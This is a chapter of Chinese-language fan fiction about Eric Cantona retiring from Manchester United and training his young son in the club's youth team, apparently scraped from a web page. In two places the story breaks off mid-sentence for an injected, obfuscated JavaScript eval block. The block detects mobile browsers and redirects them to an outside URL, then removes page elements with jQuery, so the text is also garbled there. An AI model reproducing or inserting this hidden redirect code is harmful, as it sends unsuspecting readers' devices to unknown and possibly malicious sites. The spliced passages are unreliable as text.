5月11日，曼联客场对阵米德尔斯堡的比赛结束后，更衣室里弥漫着一种奇特的氛围。球员们轮流与坎通纳拥抱，基恩甚至罕见地红了眼眶——尽管他坚称是洗发水进了眼睛。坎通纳坐在自己的位置上，慢慢脱下那双陪伴他整个赛季的战靴，将它们放进一个印有曼联队徽的盒子里。 “真就这么结束了？”吉格斯递给他一瓶啤酒，“我还指望你教我那个脚后跟传球呢。” 坎通纳接过啤酒，但没有打开：“明天发布会后，来我家后院。我保证教会你——只要你能忍受克里斯的唠叨，他现在比我还要严格。” 更衣室的门被轻轻推开，弗格森走了进来，手里拿着一份文件：“埃里克，董事会的礼物。” 坎通纳展开文件——那是一份青训顾问的聘书，薪水栏空着，签字处已经盖好了曼联的钢印。 “空白支票？”他挑眉问道。 弗格森点燃一支雪茄：“填你想要的数字。但重点是……”他指了指合同最后一行的特别条款，“克里斯蒂亚诺·坎通纳享有卡灵顿基地终身通行权。” 坎通纳的喉结滚动了一下。他看向更衣室角落的电视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597471|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那里正在回放本场比赛的集锦——他的最后一记助攻，贝克汉姆的制胜球。 “谢谢，亚历克斯。”他将合同折好放进口袋，“但我需要先和克里斯谈谈。” 曼彻斯特的雨夜中，坎通纳的车缓缓驶入自家车道。透过雨帘，他看到客厅的灯还亮着，克里斯蒂亚诺的身影在窗前晃来晃去。 “他一直在等你。”艾米莉接过丈夫的外套，低声说道，“把你最近的比赛录像反复看了三遍，说要找出和以前踢法的不同。” 坎通纳轻轻走上楼，推开儿子半掩的房门。克里斯蒂亚诺正趴在床上，面前摊开着十几张战术图纸，上面密密麻麻标注着跑位路线和传球角度。 “研究出什么了？”坎通纳靠在门框上问道。 小男孩猛地回头，随即又低下头，用铅笔戳着图纸：“你今天的传球成功率是87%，比赛季平均低了5%。” “因为米堡的草坪像菜地。”坎通纳坐到床边，拿起一张图纸——那是他去年欧洲杯对阵捷克时的跑位热图，被克里斯蒂亚诺用红笔圈出了每一个关键触球点。 “爸爸……”克里斯蒂亚诺突然抓住他的手腕，手指按在那条磨损的蓝色手绳上，“你真的不踢球了吗？” 窗外的雨声忽然变大，敲打着玻璃。坎通纳将儿子搂进怀里，感受着小男孩紧绷的身体：“我只是换一种方式参与足球，克里斯。就像……”他指了指墙上的曼联全家福，“弗格森先生年轻时也是球员，对不对？” 克里斯蒂亚诺的呼吸渐渐平稳：“那你会来U14看我比赛吗？每场都来？” “不仅每场都来，”坎通纳吻了吻儿子的额头，“我还要当你的私人教练。准备好每天加练200次射门了吗？” 小男孩挣脱怀抱，光着脚跑到书桌前，翻出一个崭新的笔记本：“我已经制定好计划了！周一练左脚，周二练头球，周三……” 坎通纳望着儿子兴奋的背影，胸口那股熟悉的刺痛感又出现了——但这次不是因为心脏，而是某种更柔软的东西。 5月12日上午10点，老特拉福德的新闻厅挤满了记者。坎通纳穿着深蓝色西装走上台，没有带任何演讲稿。弗格森和曼联CEO爱德华兹分坐两侧，背后的屏幕上播放着他五年来最精彩的进球集锦。 “感谢各位的到来。”坎通纳的声音比平时低沉，“经过慎重考虑，我决定在本赛季结束后退役。” 现场顿时炸开锅，闪光灯亮成一片。前排的《队报》记者抢先提问：“坎通纳先生，是什么促使您在31岁的黄金年龄退役？” 坎通纳转动着左手无名指的婚戒——这是他在紧张时的小动作：“每个球员都知道那个时刻——当你的头脑还能预判传球路线，但身体开始延迟半拍。我不想等到这半拍变成一秒。” “有传言说您的心脏有问题……” “我的心脏很好。”坎通纳打断提问，目光扫过全场，“它只是提醒我，是时候把激情留给其他事情了——比如看着我的儿子成为比我更好的球员。” 后排突然传来一阵骚动。克里斯蒂亚诺穿着迷你曼联西装，在俱乐部工作人员的带领下走进会场。坎通纳明显怔了一下，随即向儿子伸出手。小男孩小跑上台，紧紧抓住父亲的手指。 “这是你儿子第一次公开亮相吧？”《曼彻斯特晚报》的记者举起相机，“他未来会为曼联效力吗？” 克里斯蒂亚诺突然抢过话筒：“我会穿7号！”全场哄笑中，他补充道，“但首先要像爸爸那样每天训练八小时。” 坎通纳揉乱儿子的卷发，对着麦克风说出最后一段话：“五年前，曼联给了我一个家；今天，我留下我的心脏。这不是终点——”他看向克里斯蒂亚诺，“而是新传奇的开始。” 发布会结束后，父子俩并肩走过老特拉福德的长廊。墙壁上挂着的照片记录着坎通纳的辉煌时刻：对桑德兰的凌空抽射、对利物浦的绝杀、举起英超奖杯的瞬间…… “爸爸，”克里斯蒂亚诺突然停下脚步，指着最后一张空着的相框，“这里会放你今天的照片吗？” 坎通纳蹲下身，与儿子平视：“不，克里斯。这里会放你将来举起奖杯的照片。” 25.告别的季节（2） 当天下午，卡灵顿基地的青训场上，坎通纳穿着运动服而非球衣出现在场边。U14的小球员们紧张地列队站好，眼睛不断瞟向这位传奇人物。 “放松点，小伙子们。”坎通纳拿起一个足球，“今天我们先学最基础的——如何用脚背内侧传球。” 克里斯蒂亚诺站在队伍最前排，挺胸抬头得像个小军人。当其他孩子开始练习时，坎通纳悄悄走到儿子身后：“膝盖再弯一点……对，就是这样。” “我知道！”克里斯蒂亚诺嘴硬道，但立刻调整了姿势。 训练结束后，父子俩留在场上加练。夕阳将两人的影子拉得很长，坎通纳一次次将球传到儿子脚下：“再来！左脚！注意支撑脚的位置！” “我累了……”克里斯蒂亚诺瘫坐在草皮上。 坎通纳将球踩在脚下：“知道为什么我能在31岁还保持状态吗？” 小男孩摇摇头。 “因为12岁的我，每天练到太阳下山才回家。”坎通纳伸出手拉起儿子，“再来二十次，然后我们去吃冰淇淋。” 克里斯蒂亚诺的眼睛亮了起来：“巧克力味的？” “双球。”坎通纳眨眨眼，“但别告诉妈妈。” 当夜幕降临时，两人躺在中圈的草皮上喘着气。曼彻斯特的星空格外明亮，克里斯蒂亚诺突然翻身趴在父亲胸口：“爸爸，我听到你的心跳了。” “规律吗？” “嗯……像鼓点一样。”小男孩的耳朵紧贴着他的胸膛，“和比赛时一样快。” 坎通纳望着北极星，想起医生上个月的警告：“预激综合征不会立刻要你的命，但每一次过度劳累都在玩火。” “克里斯，”他突然说，“如果有一天你必须在健康和足球之间选择……” “我选足球。”小男孩不假思索地回答。 坎通纳苦笑着搂紧儿子——这答案他早该料到。 8月10日，曼彻斯特的清晨还带着夏末的凉意。坎通纳站在卡灵顿基地的青训场边，手里捧着一杯黑咖啡，目光紧盯着场上奔跑的U14小球员们。他穿着深蓝色的训练外套，胸前别着曼联青训顾问的工作证——这是他退役后的第一个正式赛季。 “坎通纳教练！”一个红头发的小男孩跑过来，气喘吁吁地问，“我、我能练任意球吗？” 坎通纳看了眼手表：“先完成20组折返跑，然后找克里斯蒂亚诺教你——他最近在研究弧线球。” 场上，克里斯蒂亚诺正带领队友进行传切配合。12岁的他比同龄人瘦小，但动作异常敏捷。一个穿裆过人后，他突然起脚射门，球划过一道弧线直挂死角！ “漂亮！”坎通纳忍不住鼓掌，随即又板起脸，“但比赛时别这么独，看到右路的空当了吗？” 克里斯蒂亚诺吐了吐舌头，跑回去防守。场边的家长们窃窃私语——谁都能看出这位新教练对儿子格外严格。 训练结束后，父子俩开车回家。克里斯蒂亚诺在后座翻看数据本：“爸爸，我今天触球43次，成功率89%，比上周提高了……” “停球还是太硬。”坎通纳从后视镜看他，“像接鸡蛋，记得吗？” “记得！”小男孩模仿着父亲当年的动作，“可鸡蛋会碎啊……” “所以更要轻柔。”坎通纳拐入超市停车场，“今晚想吃什么？庆祝你入选U14首发。” 克里斯蒂亚诺眼睛一亮：“勃艮第牛肉！像妈妈做的那样！” 晚餐后，艾米莉在厨房收拾餐具，坎通纳则坐在书房里研究U14的比赛录像。门被轻轻推开，克里斯蒂亚诺抱着足球溜进来：“爸爸，能加练吗？” 坎通纳看了眼挂钟——晚上十点半：“明天六点还有晨训。” “就半小时！”小男孩把球放在地毯上，“我想练你那个脚后跟磕球过人。” 坎通纳关掉录像机，突然问：“克里斯，你真的喜欢足球吗？不是因为我，而是你自己。” 克里斯蒂亚诺愣住了，手指无意识地摩挲着球皮：“我……我不知道。就像你问我喜不喜欢呼吸一样。”他抬起脸，棕绿色的眼睛在台灯下闪闪发亮，“足球就是我的呼吸，爸爸。” 坎通纳胸口一紧。他起身从书架上取下一个盒子，里面是那条退役时摘下的曼联队长袖标：“过来，冠军。” 他将袖标系在儿子纤细的手臂上，布料垂下来一大截：“记住今天的感觉。总有一天，它会真正属于你。” 克里斯蒂亚诺抚摸着袖标上的队徽，突然扑进父亲怀里。坎通纳感受到肩膀处的湿热——小男孩在无声地哭泣。 “怎么了？”他轻声问。 “我……我害怕。”克里斯蒂亚诺的声音闷在衣料里，“害怕达不到你的高度。” 坎通纳捧起儿子的脸，拇指擦去泪痕：“看着我，克里斯。我31岁退役，你有整整19年可以超越我。”他指了指书桌上的日历，“从明天开始，每天进步1%，复利计算下……” “三年后就是37倍！”数学小天才立刻接话，破涕为笑。 窗外，曼彻斯特的月光洒在后院的草坪上。坎通纳突然拉起儿子：“走，教你那个脚后跟磕球。” 9月15日，曼联U14对阵利物浦U14的比赛日。坎通纳坐在教练席上，不再是球员而是助理教练。克里斯蒂亚诺作为首发右边锋出场，手臂上戴着队长袖标——教练组为激励他特意安排的。 “紧张吗？”开赛前，坎通纳蹲下为儿子整理鞋带。 克里斯蒂亚诺摇摇头，又点点头：“一点点……爸爸，如果我失误了怎么办？” “那就失误。”坎通纳系紧最后一个鞋钉，“但失误后要像疯狗一样抢回来。” 比赛开始后，利物浦的壮实后卫们频频用身体欺负瘦小的克里斯蒂亚诺。第28分钟，一次凶狠的铲抢让他摔倒在边线处。坎通纳猛地站起来，又强迫自己坐下——这是儿子必须独自面对的挑战。 克里斯蒂亚诺爬起来，拍了拍球袜上的草屑。当对方后卫再次逼近时，他突然一个脚后跟磕球——完美复刻父亲当年的动作！突破后下底传中，队友轻松推射破门！1-0！ “看到了吗？！”小男孩冲向场边，指着自己的脚后跟，“你教我的！” 坎通纳隔着广告板揉乱他的卷发：“干得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603409|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好！现在回去防守！” 下半场，利物浦扳平比分。关键时刻，克里斯蒂亚诺在右路拿球，连续三个踩单车晃过防守队员，突入禁区被放倒——点球！ 整个球场安静下来。12岁的克里斯蒂亚诺站在点球点前，目光扫向场边的父亲。坎通纳只是平静地指了指自己的太阳穴，然后拍拍胸口。 助跑，射门！球直窜左下死角！2-1！曼联U14拿下关键胜利！ 赛后更衣室里，小球员们将克里斯蒂亚诺抛向空中。坎通纳站在门口，被主教练打趣道：“怎么样？当教练比当球员紧张吧？” “十倍。”坎通纳松了松领带，看着儿子被香槟（其实是汽水）淋湿的卷发，“但这感觉……不错。” 10月的某个雨夜，坎通纳被胸口的一阵锐痛惊醒。他轻手轻脚地下床，从浴室药柜里取出药瓶，就着水龙头吞下两片白色药片。 “又发作了？”艾米莉的声音从身后传来。 坎通纳抹去嘴角的水渍：“没事，只是有点心悸。” 回到床上，艾米莉将头靠在他胸前：“你应该告诉克里斯。” “然后呢？让他每次训练都担心父亲会突然倒下？”坎通纳望着天花板上的雨影，“他需要专注足球，而不是……” “而不是学习如何面对失去？”艾米莉一针见血，“埃里克，那孩子比你想象的敏感。他上周问我为什么你总在训练后揉胸口。” 雨声渐大，坎通纳想起儿子今天在训练场上的问题：“爸爸，如果受伤了还能当世界最佳吗？”当时他只敷衍了一句“好好热身就不会伤”，现在却辗转难眠。 第二天清晨，克里斯蒂亚诺发现早餐桌上多了本相册。翻开第一页，是坎通纳16岁在欧塞尔青年队的照片，瘦得像根竹竿。 “这是我第一次被教练骂哭。”坎通纳放下咖啡杯，指着照片，“因为停球十次失误九次。” 克里斯蒂亚诺瞪大眼睛：“骗人！你从来不会失误！” “看看最后一页。” 小男孩翻到最后，呼吸骤然停滞——那是一张心电图报告单，上面用红笔圈着异常波段。坎通纳平静地解释：“这叫预激综合征。就像足球场上有条多余的传球路线，会让心脏跳得太快。” “所以……所以你真的会死吗？”克里斯蒂亚诺的声音发抖。 坎通纳将儿子拉到身前：“听着，冠军。每个球员都有伤病史——范巴斯滕的脚踝，马拉多纳的膝盖，我的心脏。重要的是……”他握住儿子的小手按在自己胸膛上，“如何与它共处。” 克里斯蒂亚诺的眼泪砸在相册上：“那为什么你要退役？明明医生说还能踢两年……” “因为比起多拿一个冠军，”坎通纳吻着儿子的发顶，“我更想看到你捧起第十个。” 窗外，雨停了。晨光穿过云层，照在餐桌旁的足球上——那是克里斯蒂亚诺昨晚忘记收起来的。小男孩突然抓起球冲向花园：“爸爸！来看我的新射门动作！” 坎通纳望着儿子在阳光下奔跑的背影，胸口那股熟悉的刺痛感又来了。但这次，他微笑着按了按心口，拿起摄像机跟了出去。